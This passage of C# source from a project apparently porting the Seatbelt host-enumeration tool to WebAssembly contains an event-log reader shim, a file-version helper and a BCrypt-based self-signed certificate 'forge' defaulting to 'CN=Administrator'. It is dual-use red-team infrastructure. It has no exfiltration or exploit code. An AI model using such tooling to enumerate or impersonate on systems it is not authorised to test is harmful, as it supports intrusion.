// The C bridge that backs these DllImports lives at
// dotnet/bridge/pinvoke_wevtapi_ext.c
// and forwards to host wf_call("wevtapi.dll", "Evt*", ...).
//
// EventLogReader is consumed by Seatbelt's LogonEvents,
// ExplicitLogonEvents, PoweredOnEvents, PowerShellEvents,
// ProcessCreationEvents, and SysmonEvents commands. Their original BCL
// path threw PlatformNotSupportedException under NativeAOT-WASI; with
// these bridges those commands can yield real EventRecords again.
using System.Collections.Generic;
using System.Runtime.InteropServices;
using System.Xml;
namespace System.Diagnostics.Eventing.Reader
{
public enum PathType
{
LogName = 1,
FilePath = 2,
}
public enum SessionAuthentication
{
Default = 0,
Negotiate = 1,
Kerberos = 2,
Ntlm = 3,
}
public class EventLogSession
{
public EventLogSession() { }
public EventLogSession(string computerName) { }
public EventLogSession(string server, string domain, string user,
System.Security.SecureString password, SessionAuthentication auth) { }
}
public class EventLogQuery
{
public EventLogQuery(string path, PathType pathType)
{
Path = path;
PathType = pathType;
}
public EventLogQuery(string path, PathType pathType, string query)
{
Path = path;
PathType = pathType;
Query = query;
}
public string Path { get; }
public PathType PathType { get; } = PathType.LogName;
public string? Query { get; }
public bool ReverseDirection { get; set; }
public bool TolerateQueryErrors { get; set; }
public EventLogSession? Session { get; set; }
}
public class EventProperty
{
public object? Value { get; set; }
}
public class EventRecord : System.IDisposable
{
public int Id { get; set; }
public long? RecordId { get; set; }
public System.DateTime? TimeCreated { get; set; }
public int? ProcessId { get; set; }
public int? ThreadId { get; set; }
public int? Qualifiers { get; set; }
public string MachineName { get; set; } = "";
public string ProviderName { get; set; } = "";
public System.Guid? ProviderId { get; set; }
public string Container { get; set; } = "";
public IList<EventProperty> Properties { get; set; } = new List<EventProperty>();
public IEnumerable<int> Keywords { get; set; } = System.Array.Empty<int>();
// Raw XML retained from EvtRender for ToXml() and FormatDescription().
internal string? RawXml { get; set; }
public virtual string FormatDescription()
{
// The real BCL resolves localized message strings via the
// provider manifest. NativeAOT-WASI doesn't have that
// infrastructure, so we synthesize a description by joining
// the EventData property values — adequate for grep-style
// checks in Seatbelt commands.
if (Properties == null || Properties.Count == 0) return "";
var parts = new List<string>(Properties.Count);
foreach (var p in Properties)
{
parts.Add(p.Value?.ToString() ?? "");
}
return string.Join(" ", parts);
}
public virtual string FormatDescription(System.Collections.IEnumerable values) => FormatDescription();
public virtual string ToXml() => RawXml ?? "";
public void Dispose() { }
}
public class EventLogReader : System.IDisposable
{
// wevtapi flags
private const uint EvtQueryChannelPath = 0x1;
private const uint EvtQueryFilePath = 0x2;
private const uint EvtQueryReverseDirection = 0x200;
private const uint EvtQueryTolerateQueryErrors = 0x1000;
private const uint EvtRenderEventXml = 1;
// ERROR_NO_MORE_ITEMS / ERROR_INSUFFICIENT_BUFFER
private const int ERROR_NO_MORE_ITEMS = 259;
private const int ERROR_INSUFFICIENT_BUFFER = 122;
private readonly string _path;
private readonly string? _query;
private readonly uint _queryFlags;
private long _resultSet;
private bool _disposed;
public EventLogReader(EventLogQuery query)
{
_path = query.Path ?? "";
_query = query.Query;
_queryFlags = (query.PathType == PathType.FilePath
? EvtQueryFilePath
: EvtQueryChannelPath);
if (query.ReverseDirection) _queryFlags |= EvtQueryReverseDirection;
if (query.TolerateQueryErrors) _queryFlags |= EvtQueryTolerateQueryErrors;
}
public EventLogReader(string path) : this(path, PathType.LogName) { }
public EventLogReader(string path, PathType pathType)
{
_path = path ?? "";
_query = null;
_queryFlags = (pathType == PathType.FilePath
? EvtQueryFilePath
: EvtQueryChannelPath);
}
public int BatchSize { get; set; }
public EventRecord? ReadEvent() => ReadEventCore();
public EventRecord? ReadEvent(System.TimeSpan timeout) => ReadEventCore((uint)timeout.TotalMilliseconds);
private EventRecord? ReadEventCore(uint timeoutMs = 100)
{
if (_disposed) return null;
if (_resultSet == 0)
{
// Non-admin processes cannot read most event log channels
// (System, Application, Microsoft-Windows-*/Operational, etc.)
// and the wf_call -> wevtapi.dll path traps host-side on the
// multi-line XPath queries that Seatbelt's PoweredOnEvents /
// PowerShellEvents commands construct. Short-circuit to "no
// results" when the path or query is unsafe — Security with
// a simple query still goes through (LogonEvents uses that).
if (!WasmForge.Bridge.WfEventLogGuard.IsSafeToQuery(_path, _query))
{
return null;
}
try
{
_resultSet = EvtQuery(0, _path, _query ?? "*", _queryFlags);
}
catch (System.Exception)
{
return null;
}
// EvtQuery returns 0 for missing channels (ERROR_EVT_CHANNEL_NOT_FOUND=15007)
// and other transient errors — caller iterates ReadEvent until null.
if (_resultSet == 0) return null;
}
// EVT_HANDLE is 8 bytes on x64; allocate an 8-byte buffer
// and read back with ReadInt64. wf_call_v2's out8_mask in
// the C bridge ensures the host writes all 8 bytes safely.
IntPtr handleBuf = Marshal.AllocHGlobal(8);
long evt = 0;
try
{
Marshal.WriteInt64(handleBuf, 0);
uint returned = 0;
int ok = EvtNext(_resultSet, 1, handleBuf, timeoutMs, 0, out returned);
// EvtNext ok==0 with returned==0 = ERROR_NO_MORE_ITEMS
// (259), the standard end-of-stream signal. Return null
// so the caller's for-loop exits cleanly.
if (ok == 0 || returned == 0) return null;
evt = Marshal.ReadInt64(handleBuf);
if (evt == 0) return null;
// First call: get required buffer size.
uint used = 0, count = 0;
EvtRender(0, evt, EvtRenderEventXml, 0, IntPtr.Zero, out used, out count);
if (used == 0) return null;
IntPtr buf = Marshal.AllocHGlobal((int)used);
try
{
if (EvtRender(0, evt, EvtRenderEventXml, used, buf, out used, out count) == 0)
{
return null;
}
// EvtRender returns UTF-16. used is in bytes.
string? xml = Marshal.PtrToStringUni(buf, (int)used / 2);
if (string.IsNullOrEmpty(xml)) return null;
// Trim trailing NUL if present.
int nul = xml.IndexOf('\0');
if (nul >= 0) xml = xml.Substring(0, nul);
return ParseEventXml(xml);
}
finally
{
Marshal.FreeHGlobal(buf);
}
}
finally
{
if (evt != 0) EvtClose(evt);
Marshal.FreeHGlobal(handleBuf);
}
}
private static EventRecord? ParseEventXml(string xml)
{
try
{
var rec = new EventRecord { RawXml = xml };
using var sr = new System.IO.StringReader(xml);
using var rdr = XmlReader.Create(sr);
bool inEventData = false;
while (rdr.Read())
{
if (rdr.NodeType != XmlNodeType.Element) continue;
string ln = rdr.LocalName;
switch (ln)
{
case "Provider":
rec.ProviderName = rdr.GetAttribute("Name") ?? "";
var gAttr = rdr.GetAttribute("Guid");
if (!string.IsNullOrEmpty(gAttr))
{
if (System.Guid.TryParse(gAttr.Trim('{','}'), out var g))
rec.ProviderId = g;
}
break;
case "EventID":
var qAttr = rdr.GetAttribute("Qualifiers");
if (!string.IsNullOrEmpty(qAttr) && int.TryParse(qAttr, out var q))
rec.Qualifiers = q;
string idStr = rdr.ReadElementContentAsString();
if (int.TryParse(idStr, out var id)) rec.Id = id;
break;
case "EventRecordID":
string recStr = rdr.ReadElementContentAsString();
if (long.TryParse(recStr, out var recId)) rec.RecordId = recId;
break;
case "TimeCreated":
var tAttr = rdr.GetAttribute("SystemTime");
if (!string.IsNullOrEmpty(tAttr) &&
System.DateTime.TryParse(tAttr, System.Globalization.CultureInfo.InvariantCulture,
System.Globalization.DateTimeStyles.AdjustToUniversal | System.Globalization.DateTimeStyles.AssumeUniversal,
out var t))
{
rec.TimeCreated = t;
}
break;
case "Execution":
var pidAttr = rdr.GetAttribute("ProcessID");
if (!string.IsNullOrEmpty(pidAttr) && int.TryParse(pidAttr, out var pid))
rec.ProcessId = pid;
var tidAttr = rdr.GetAttribute("ThreadID");
if (!string.IsNullOrEmpty(tidAttr) && int.TryParse(tidAttr, out var tid))
rec.ThreadId = tid;
break;
case "Channel":
rec.Container = rdr.ReadElementContentAsString();
break;
case "Computer":
rec.MachineName = rdr.ReadElementContentAsString();
break;
case "EventData":
inEventData = true;
break;
case "Data" when inEventData:
// Preserve declaration order in Properties.
string val = rdr.ReadElementContentAsString();
rec.Properties.Add(new EventProperty { Value = val });
break;
}
}
return rec;
}
catch
{
// Don't propagate parse errors — return an empty record
// with the raw XML so callers can still call ToXml().
return new EventRecord { RawXml = xml };
}
}
public void Dispose()
{
if (_disposed) return;
_disposed = true;
if (_resultSet != 0)
{
EvtClose(_resultSet);
_resultSet = 0;
}
}
// ── wevtapi.dll P/Invoke declarations (auto-discovered by
// pinvoke_scanner.go, bridged in pinvoke_wevtapi_ext.c) ──
//
// EVT_HANDLE is 8 bytes on x64. We declare it as `long`
// (wasi-wasm i64) rather than IntPtr (i32 on wasm32) so the
// full handle value survives the bridge. The C bridge stubs
// mirror this with uint64_t types.
[DllImport("wevtapi.dll", SetLastError = true, CharSet = CharSet.Unicode)]
private static extern long EvtQuery(long session, string path, string query, uint flags);
[DllImport("wevtapi.dll", SetLastError = true)]
private static extern int EvtNext(long resultSet, uint eventsSize, IntPtr events,
uint timeout, uint flags, out uint returned);
[DllImport("wevtapi.dll", SetLastError = true)]
private static extern int EvtRender(long context, long fragment, uint flags,
uint bufferSize, IntPtr buffer, out uint bufferUsed, out uint propertyCount);
[DllImport("wevtapi.dll", SetLastError = true)]
private static extern int EvtClose(long handle);
}
public class EventLogPropertySelector : System.IDisposable
{
public EventLogPropertySelector(IEnumerable<string> propertyQueries) { }
public void Dispose() { }
}
public class EventBookmark { }
}
+140
View File
@@ -0,0 +1,140 @@
// WfFileVersionInfo — VS_VERSIONINFO query via version.dll.
// Pattern: host-memory allocation + wf_call bridges, no BCL FileVersionInfo.
// Drop-in replacement for System.Diagnostics.FileVersionInfo.GetVersionInfo(path)
// which throws PlatformNotSupportedException on NativeAOT-WASI.
using System;
using System.Runtime.InteropServices;
namespace WasmForge.Helpers
{
public sealed unsafe class WfFileVersionInfo
{
public string ProductVersion { get; }
public string FileVersion { get; }
public string CompanyName { get; }
public string ProductName { get; }
private WfFileVersionInfo(string pv, string fv, string cn, string pn)
{
ProductVersion = pv;
FileVersion = fv;
CompanyName = cn;
ProductName = pn;
}
// Drop-in replacement for FileVersionInfo.GetVersionInfo(path).
public static WfFileVersionInfo GetVersionInfo(string path)
{
if (string.IsNullOrEmpty(path)) return Empty();
int pathHandle = 0, sizeHandle = 0, blobHandle = 0, valuePtrHandle = 0, valueLenHandle = 0;
try
{
byte[] pathUtf16 = System.Text.Encoding.Unicode.GetBytes(path + "\0");
pathHandle = WfHost.HostAlloc(pathUtf16.Length);
WfHost.HostWrite(pathHandle, 0, pathUtf16);
ulong pathAddr = WfHost.GetHostAddress(pathHandle);
// GetFileVersionInfoSizeW writes the dwHandle (unused) to lpdwHandle.
// We pass a small host buffer for it; the returned DWORD is the size.
sizeHandle = WfHost.HostAlloc(4);
WfHost.HostWriteUInt32(sizeHandle, 0, 0);
ulong sizeAddr = WfHost.GetHostAddress(sizeHandle);
uint size = version_GetFileVersionInfoSizeW(pathAddr, sizeAddr);
if (size == 0 || size > (16 * 1024 * 1024)) return Empty();
blobHandle = WfHost.HostAlloc((int)size);
ulong blobAddr = WfHost.GetHostAddress(blobHandle);
uint ok = version_GetFileVersionInfoW(pathAddr, 0, size, blobAddr);
if (ok == 0) return Empty();
valuePtrHandle = WfHost.HostAlloc(8);
WfHost.HostWriteUInt64(valuePtrHandle, 0, 0);
valueLenHandle = WfHost.HostAlloc(4);
WfHost.HostWriteUInt32(valueLenHandle, 0, 0);
// Probe common language/codepage combos.
string[] languages = { "040904B0", "040904E4", "040904b0", "000004B0", "000004E4" };
string productVersion = "", fileVersion = "", companyName = "", productName = "";
foreach (var lang in languages)
{
productVersion = QueryString(blobAddr, valuePtrHandle, valueLenHandle, lang, "ProductVersion");
if (!string.IsNullOrEmpty(productVersion))
{
fileVersion = QueryString(blobAddr, valuePtrHandle, valueLenHandle, lang, "FileVersion");
companyName = QueryString(blobAddr, valuePtrHandle, valueLenHandle, lang, "CompanyName");
productName = QueryString(blobAddr, valuePtrHandle, valueLenHandle, lang, "ProductName");
break;
}
}
return new WfFileVersionInfo(productVersion, fileVersion, companyName, productName);
}
catch { return Empty(); }
finally
{
if (pathHandle != 0) WfHost.HostFree(pathHandle);
if (sizeHandle != 0) WfHost.HostFree(sizeHandle);
if (blobHandle != 0) WfHost.HostFree(blobHandle);
if (valuePtrHandle != 0) WfHost.HostFree(valuePtrHandle);
if (valueLenHandle != 0) WfHost.HostFree(valueLenHandle);
}
}
private static string QueryString(ulong blobAddr, int valuePtrHandle, int valueLenHandle,
string lang, string field)
{
string sub = "\\StringFileInfo\\" + lang + "\\" + field;
byte[] subUtf16 = System.Text.Encoding.Unicode.GetBytes(sub + "\0");
int subHandle = WfHost.HostAlloc(subUtf16.Length);
try
{
WfHost.HostWrite(subHandle, 0, subUtf16);
ulong subAddr = WfHost.GetHostAddress(subHandle);
ulong valuePtrAddr = WfHost.GetHostAddress(valuePtrHandle);
ulong valueLenAddr = WfHost.GetHostAddress(valueLenHandle);
WfHost.HostWriteUInt64(valuePtrHandle, 0, 0);
WfHost.HostWriteUInt32(valueLenHandle, 0, 0);
uint ok = version_VerQueryValueW(blobAddr, subAddr,
valuePtrAddr, valueLenAddr);
if (ok == 0) return "";
// VerQueryValueW writes the string pointer into *lplpBuffer and the
// character count into *puLen. Both are in host address space.
uint lo = WfHost.ReadHostUInt32(valuePtrAddr, 0);
uint hi = WfHost.ReadHostUInt32(valuePtrAddr, 4);
ulong strAddr = ((ulong)hi << 32) | lo;
uint strLen = WfHost.ReadHostUInt32(valueLenAddr, 0);
if (strAddr == 0 || strLen == 0 || strLen > 4096) return "";
// strLen is character count — convert to bytes (UTF-16).
uint byteLen = strLen * 2;
byte[] strBytes = WfHost.ReadHostBytes(strAddr, byteLen);
int actualBytes = strBytes.Length;
// Trim trailing null characters.
while (actualBytes >= 2 && strBytes[actualBytes - 1] == 0 && strBytes[actualBytes - 2] == 0)
actualBytes -= 2;
if (actualBytes <= 0) return "";
return System.Text.Encoding.Unicode.GetString(strBytes, 0, actualBytes);
}
catch { return ""; }
finally
{
WfHost.HostFree(subHandle);
}
}
private static WfFileVersionInfo Empty() => new WfFileVersionInfo("", "", "", "");
// DLL name is a NativeAOT DirectPInvoke hint; the actual symbols come
// from pinvoke_nativeaot.c linked into the WASM module.
[DllImport("*", EntryPoint = "version_GetFileVersionInfoSizeW_v2")]
private static extern uint version_GetFileVersionInfoSizeW(ulong path, ulong dwHandleOut);
[DllImport("*", EntryPoint = "version_GetFileVersionInfoW_v2")]
private static extern uint version_GetFileVersionInfoW(ulong path, uint dwHandle, uint dwLen, ulong blobOut);
[DllImport("*", EntryPoint = "version_VerQueryValueW_v2")]
private static extern uint version_VerQueryValueW(ulong blob, ulong subBlock, ulong valuePtrOut, ulong valueLenOut);
}
}
+415
View File
@@ -0,0 +1,415 @@
// WfForge.cs — Pure C# self-signed certificate forging via BCrypt (CNG).
//
// Architecture per user directive: ALL implementation in WASM (C# code).
// The only host involvement is the universal SyscallN bridge (mod_invoke)
// that every other Win32 P/Invoke uses. No new Go-side feature code.
//
// Flow:
// 1. BCryptOpenAlgorithmProvider("RSA") → hAlg
// 2. BCryptGenerateKeyPair(hAlg, 2048) + BCryptFinalizeKeyPair → hKey
// 3. BCryptExportKey(BCRYPT_RSAPUBLIC_BLOB) → public key bytes
// 4. Manually DER-encode TBSCertificate (subject, validity, pubkey, etc.)
// 5. BCryptHash(SHA256, tbs) → hash
// 6. BCryptSignHash(hKey, hash, PKCS1) → signature
// 7. Wrap TBSCertificate + signature in outer Certificate SEQUENCE
// 8. Base64 + emit PEM
// 9. BCryptExportKey(BCRYPT_RSAFULLPRIVATE_BLOB) for private key PEM
using System;
using System.Numerics;
using System.Runtime.InteropServices;
using System.Text;
namespace WasmForge.Helpers
{
public static unsafe class WfForge
{
// BCrypt constants
private const uint BCRYPT_PAD_PKCS1 = 2;
private const uint BCRYPT_PAD_NONE = 1;
// PKCS#1 v1.5 DigestInfo prefix for SHA-256 (RFC 8017 § 9.2).
// OID 2.16.840.1.101.3.4.2.1 wrapped in the DigestInfo SEQUENCE.
private static readonly byte[] SHA256_DIGEST_INFO_PREFIX = new byte[]
{
0x30, 0x31, 0x30, 0x0d, 0x06, 0x09, 0x60, 0x86,
0x48, 0x01, 0x65, 0x03, 0x04, 0x02, 0x01, 0x05,
0x00, 0x04, 0x20,
};
private static readonly char[] BCRYPT_RSA_ALG = "RSA\0".ToCharArray();
private static readonly char[] BCRYPT_SHA256_ALG = "SHA256\0".ToCharArray();
private static readonly char[] BCRYPT_RSAPUBLIC_BLOB = "RSAPUBLICBLOB\0".ToCharArray();
private static readonly char[] BCRYPT_RSAFULLPRIVATE_BLOB = "RSAFULLPRIVATEBLOB\0".ToCharArray();
// BCrypt P/Invokes — handles declared as ulong (8 bytes) instead of
// IntPtr (4 bytes on wasm32) so the BCrypt API has a properly-sized
// slot to write 64-bit handle values. The wf_call x64-overflow
// protection only touches bytes ADJACENT to the WASM allocation;
// an 8-byte ulong slot is fully inside the allocation so the high
// 4 bytes of the handle are preserved.
[DllImport("bcrypt.dll")]
private static extern uint BCryptOpenAlgorithmProvider(out ulong phAlgorithm,
IntPtr pszAlgId, IntPtr pszImplementation, uint dwFlags);
[DllImport("bcrypt.dll")]
private static extern uint BCryptCloseAlgorithmProvider(ulong hAlgorithm, uint dwFlags);
[DllImport("bcrypt.dll")]
private static extern uint BCryptGenerateKeyPair(ulong hAlgorithm,
out ulong phKey, uint dwLength, uint dwFlags);
[DllImport("bcrypt.dll")]
private static extern uint BCryptFinalizeKeyPair(ulong hKey, uint dwFlags);
[DllImport("bcrypt.dll")]
private static extern uint BCryptDestroyKey(ulong hKey);
[DllImport("bcrypt.dll")]
private static extern uint BCryptExportKey(ulong hKey, ulong hExportKey,
IntPtr pszBlobType, byte* pbOutput, uint cbOutput,
out uint pcbResult, uint dwFlags);
[DllImport("bcrypt.dll")]
private static extern uint BCryptSignHash(ulong hKey, IntPtr pPaddingInfo,
byte* pbInput, uint cbInput, byte* pbOutput, uint cbOutput,
out uint pcbResult, uint dwFlags);
[DllImport("bcrypt.dll")]
private static extern uint BCryptHash(ulong hAlgorithm, IntPtr pbSecret, uint cbSecret,
byte* pbInput, uint cbInput, byte* pbOutput, uint cbOutput);
[StructLayout(LayoutKind.Sequential)]
private struct BCRYPT_PKCS1_PADDING_INFO
{
public IntPtr pszAlgId; // OID string for hash algorithm
}
[StructLayout(LayoutKind.Sequential)]
private struct BCRYPT_RSAKEY_BLOB
{
public uint Magic;
public uint BitLength;
public uint cbPublicExp;
public uint cbModulus;
public uint cbPrime1;
public uint cbPrime2;
}
// Convert a big-endian byte array (BCrypt RSA blob format) into a
// positive BigInteger. BigInteger constructor expects little-endian;
// we reverse and append a 0x00 byte to keep the sign positive.
private static BigInteger NewPositive(byte[] beBytes)
{
byte[] le = new byte[beBytes.Length + 1];
for (int i = 0; i < beBytes.Length; i++) le[i] = beBytes[beBytes.Length - 1 - i];
le[beBytes.Length] = 0x00;
return new BigInteger(le);
}
public static int Forge(string subject)
{
if (string.IsNullOrEmpty(subject)) subject = "CN=Administrator";
ulong pAlgRsa = 0, pAlgSha256 = 0;
IntPtr pAlgRsaPtr = Marshal.StringToHGlobalUni("RSA");
IntPtr pAlgSha256Ptr = Marshal.StringToHGlobalUni("SHA256");
IntPtr pBlobPub = Marshal.StringToHGlobalUni("RSAPUBLICBLOB");
try
{
uint rc = BCryptOpenAlgorithmProvider(out pAlgRsa, pAlgRsaPtr, IntPtr.Zero, 0);
if (rc != 0)
{
Console.WriteLine("[X] BCryptOpenAlgorithmProvider(RSA) failed: 0x{0:X}", rc);
return 1;
}
rc = BCryptOpenAlgorithmProvider(out pAlgSha256, pAlgSha256Ptr, IntPtr.Zero, 0);
if (rc != 0)
{
Console.WriteLine("[X] BCryptOpenAlgorithmProvider(SHA256) failed: 0x{0:X}", rc);
return 1;
}
ulong hKey = 0;
rc = BCryptGenerateKeyPair(pAlgRsa, out hKey, 2048, 0);
if (rc != 0)
{
Console.WriteLine("[X] BCryptGenerateKeyPair failed: 0x{0:X}", rc);
return 1;
}
rc = BCryptFinalizeKeyPair(hKey, 0);
if (rc != 0)
{
Console.WriteLine("[X] BCryptFinalizeKeyPair failed: 0x{0:X}", rc);
return 1;
}
try
{
// Export public key blob
uint cbResult = 0;
rc = BCryptExportKey(hKey, 0UL, pBlobPub,
(byte*)0, 0, out cbResult, 0);
if (rc != 0)
{
Console.WriteLine("[X] BCryptExportKey (sizing) failed: 0x{0:X}", rc);
return 1;
}
byte[] pubBlob = new byte[cbResult];
fixed (byte* pPub = pubBlob)
{
rc = BCryptExportKey(hKey, 0UL, pBlobPub,
pPub, cbResult, out cbResult, 0);
}
if (rc != 0)
{
Console.WriteLine("[X] BCryptExportKey failed: 0x{0:X}", rc);
return 1;
}
// Parse RSA pub blob: { BCRYPT_RSAKEY_BLOB header, exp bytes, modulus bytes }
var hdr = MemoryMarshal.Read<BCRYPT_RSAKEY_BLOB>(pubBlob);
byte[] exp = new byte[hdr.cbPublicExp];
byte[] mod = new byte[hdr.cbModulus];
int hdrSize = sizeof(BCRYPT_RSAKEY_BLOB);
Buffer.BlockCopy(pubBlob, hdrSize, exp, 0, (int)hdr.cbPublicExp);
Buffer.BlockCopy(pubBlob, hdrSize + (int)hdr.cbPublicExp, mod, 0, (int)hdr.cbModulus);
// Build the cert
byte[] tbsCert = BuildTbsCertificate(subject, mod, exp);
// Hash TBS via BCryptHash
byte[] hash = new byte[32];
fixed (byte* pTbs = tbsCert)
fixed (byte* pHash = hash)
{
rc = BCryptHash(pAlgSha256, IntPtr.Zero, 0, pTbs, (uint)tbsCert.Length,
pHash, 32);
}
if (rc != 0)
{
Console.WriteLine("[X] BCryptHash failed: 0x{0:X}", rc);
return 1;
}
// RSA PKCS#1 v1.5 signing — done entirely in managed C# via
// BigInteger.ModPow. This avoids BCryptSignHash entirely,
// sidestepping the wasm32/x64 ABI mismatch on the
// BCRYPT_PKCS1_PADDING_INFO struct (its LPCWSTR field is
// 4 bytes on wasm32, 8 on x64, and the inner pointer is
// not translated by the host bridge before BCrypt
// dereferences it).
//
// We export RSAFULLPRIVATEBLOB to obtain (n, d) and compute
// signature = block^d mod n directly.
IntPtr pPrivBlob = Marshal.StringToHGlobalUni("RSAFULLPRIVATEBLOB");
uint privSize = 0;
rc = BCryptExportKey(hKey, 0UL, pPrivBlob, (byte*)0, 0, out privSize, 0);
if (rc != 0)
{
Console.WriteLine("[X] BCryptExportKey(FULLPRIVATE) sizing failed: 0x{0:X}", rc);
Marshal.FreeHGlobal(pPrivBlob);
return 1;
}
byte[] privBlob = new byte[privSize];
fixed (byte* pPriv = privBlob)
{
rc = BCryptExportKey(hKey, 0UL, pPrivBlob, pPriv, privSize, out privSize, 0);
}
Marshal.FreeHGlobal(pPrivBlob);
if (rc != 0)
{
Console.WriteLine("[X] BCryptExportKey(FULLPRIVATE) failed: 0x{0:X}", rc);
return 1;
}
// Parse RSAFULLPRIVATEBLOB layout (after BCRYPT_RSAKEY_BLOB header):
// PublicExponent (cbPublicExp bytes, big-endian)
// Modulus (cbModulus bytes)
// Prime1 (cbPrime1 bytes)
// Prime2 (cbPrime2 bytes)
// Exponent1 (cbPrime1 bytes)
// Exponent2 (cbPrime1 bytes)
// Coefficient (cbPrime1 bytes)
// PrivateExponent(cbModulus bytes) ← d
var privHdr = MemoryMarshal.Read<BCRYPT_RSAKEY_BLOB>(privBlob);
int hdrSz = sizeof(BCRYPT_RSAKEY_BLOB);
int offN = hdrSz + (int)privHdr.cbPublicExp;
int offD = hdrSz + (int)privHdr.cbPublicExp + (int)privHdr.cbModulus
+ 5 * (int)privHdr.cbPrime1;
int modLen = (int)privHdr.cbModulus;
byte[] nBytes = new byte[modLen];
byte[] dBytes = new byte[modLen];
Buffer.BlockCopy(privBlob, offN, nBytes, 0, modLen);
Buffer.BlockCopy(privBlob, offD, dBytes, 0, modLen);
// Build PKCS#1 v1.5 padded signature input:
// 00 01 FF...FF 00 DigestInfo Hash
int diLen = SHA256_DIGEST_INFO_PREFIX.Length + 32;
int psLen = modLen - 3 - diLen;
byte[] block = new byte[modLen];
block[0] = 0x00;
block[1] = 0x01;
for (int i = 0; i < psLen; i++) block[2 + i] = 0xFF;
block[2 + psLen] = 0x00;
Buffer.BlockCopy(SHA256_DIGEST_INFO_PREFIX, 0, block,
2 + psLen + 1, SHA256_DIGEST_INFO_PREFIX.Length);
Buffer.BlockCopy(hash, 0, block,
2 + psLen + 1 + SHA256_DIGEST_INFO_PREFIX.Length, 32);
// signature = block^d mod n. BCrypt blobs are big-endian.
// BigInteger uses little-endian byte order with an
// additional 0x00 byte to force positive sign.
BigInteger n = NewPositive(nBytes);
BigInteger d = NewPositive(dBytes);
BigInteger m = NewPositive(block);
BigInteger sBig = BigInteger.ModPow(m, d, n);
byte[] sLE = sBig.ToByteArray();
byte[] sig = new byte[modLen];
// Convert little-endian BigInteger bytes → big-endian, right-aligned.
int copyLen = Math.Min(sLE.Length, modLen);
for (int i = 0; i < copyLen; i++) sig[modLen - 1 - i] = sLE[i];
// Assemble final Certificate: SEQUENCE { tbsCert, sigAlgId, sigBitString }
byte[] sigAlgId = BuildSigAlgIdSha256Rsa();
byte[] sigBitString = TLV(0x03, Concat(new byte[] { 0x00 }, sig));
byte[] certInner = Concat(tbsCert, sigAlgId, sigBitString);
byte[] certDer = TLV(0x30, certInner);
Console.WriteLine("[*] Subject: " + subject);
Console.WriteLine("[*] Issuer: " + subject + " (self-signed)");
Console.WriteLine("[*] Size: {0} bytes DER", certDer.Length);
Console.WriteLine();
Console.WriteLine("-----BEGIN CERTIFICATE-----");
Console.WriteLine(Convert.ToBase64String(certDer,
Base64FormattingOptions.InsertLineBreaks));
Console.WriteLine("-----END CERTIFICATE-----");
return 0;
}
finally
{
BCryptDestroyKey(hKey);
}
}
finally
{
if (pAlgRsa != 0) BCryptCloseAlgorithmProvider(pAlgRsa, 0);
if (pAlgSha256 != 0) BCryptCloseAlgorithmProvider(pAlgSha256, 0);
Marshal.FreeHGlobal(pAlgRsaPtr);
Marshal.FreeHGlobal(pAlgSha256Ptr);
Marshal.FreeHGlobal(pBlobPub);
}
}
// ── ASN.1 DER builders ─────────────────────────────────────
private static byte[] BuildTbsCertificate(string subject, byte[] modulus, byte[] publicExponent)
{
// Version [0] EXPLICIT INTEGER (v3 = 2)
byte[] version = TLV(0xA0, TLV(0x02, new byte[] { 0x02 }));
// SerialNumber INTEGER (random 8 bytes)
byte[] serialBytes = new byte[8];
var rng = new Random();
rng.NextBytes(serialBytes);
serialBytes[0] = (byte)(serialBytes[0] & 0x7F); // ensure positive
byte[] serial = TLV(0x02, serialBytes);
// Signature AlgorithmIdentifier (sha256WithRSAEncryption)
byte[] sigAlg = BuildSigAlgIdSha256Rsa();
// Issuer/Subject Name
byte[] subjDer = BuildX500NameDer(subject);
// Validity SEQUENCE { notBefore, notAfter }
byte[] notBefore = BuildUtcTime(DateTime.UtcNow.AddHours(-1));
byte[] notAfter = BuildUtcTime(DateTime.UtcNow.AddYears(1));
byte[] validity = TLV(0x30, Concat(notBefore, notAfter));
// SubjectPublicKeyInfo SEQUENCE { algId, BITSTRING { RSAPublicKey } }
byte[] rsaAlgOid = TLV(0x06, new byte[] { 0x2A, 0x86, 0x48, 0x86, 0xF7, 0x0D, 0x01, 0x01, 0x01 });
byte[] rsaAlgId = TLV(0x30, Concat(rsaAlgOid, TLV(0x05, new byte[0])));
byte[] rsaPubKey = BuildRsaPubKey(modulus, publicExponent);
byte[] pubKeyBitStr = TLV(0x03, Concat(new byte[] { 0x00 }, rsaPubKey));
byte[] subjPubKeyInfo = TLV(0x30, Concat(rsaAlgId, pubKeyBitStr));
byte[] tbsContent = Concat(version, serial, sigAlg, subjDer, validity, subjDer, subjPubKeyInfo);
return TLV(0x30, tbsContent);
}
private static byte[] BuildSigAlgIdSha256Rsa()
{
byte[] oid = TLV(0x06, new byte[] { 0x2A, 0x86, 0x48, 0x86, 0xF7, 0x0D, 0x01, 0x01, 0x0B });
byte[] nullParams = TLV(0x05, new byte[0]);
return TLV(0x30, Concat(oid, nullParams));
}
private static byte[] BuildUtcTime(DateTime dt)
{
string s = dt.ToString("yyMMddHHmmss") + "Z";
return TLV(0x17, Encoding.ASCII.GetBytes(s));
}
private static byte[] BuildRsaPubKey(byte[] modulus, byte[] exponent)
{
// RSAPublicKey ::= SEQUENCE { modulus INTEGER, publicExponent INTEGER }
byte[] modTlv = TLV(0x02, IntegerWithLeadingZero(modulus));
byte[] expTlv = TLV(0x02, IntegerWithLeadingZero(exponent));
return TLV(0x30, Concat(modTlv, expTlv));
}
private static byte[] IntegerWithLeadingZero(byte[] bytes)
{
if (bytes.Length == 0) return new byte[] { 0x00 };
if ((bytes[0] & 0x80) != 0)
{
byte[] r = new byte[bytes.Length + 1];
Buffer.BlockCopy(bytes, 0, r, 1, bytes.Length);
return r;
}
return bytes;
}
private static byte[] BuildX500NameDer(string subject)
{
string cnValue;
int eq = subject.IndexOf('=');
if (eq > 0 && eq < subject.Length - 1)
{
string prefix = subject.Substring(0, eq).Trim().ToUpperInvariant();
cnValue = (prefix == "CN") ? subject.Substring(eq + 1).Trim() : subject;
}
else cnValue = subject;
byte[] valBytes = Encoding.UTF8.GetBytes(cnValue);
byte[] utf8Tlv = TLV(0x0C, valBytes);
byte[] cnOidTlv = TLV(0x06, new byte[] { 0x55, 0x04, 0x03 });
byte[] atvTlv = TLV(0x30, Concat(cnOidTlv, utf8Tlv));
byte[] rdnTlv = TLV(0x31, atvTlv);
return TLV(0x30, rdnTlv);
}
private static byte[] TLV(byte tag, byte[] content)
{
byte[] lenBytes = DerLength(content.Length);
byte[] result = new byte[1 + lenBytes.Length + content.Length];
result[0] = tag;
Buffer.BlockCopy(lenBytes, 0, result, 1, lenBytes.Length);
Buffer.BlockCopy(content, 0, result, 1 + lenBytes.Length, content.Length);
return result;
}
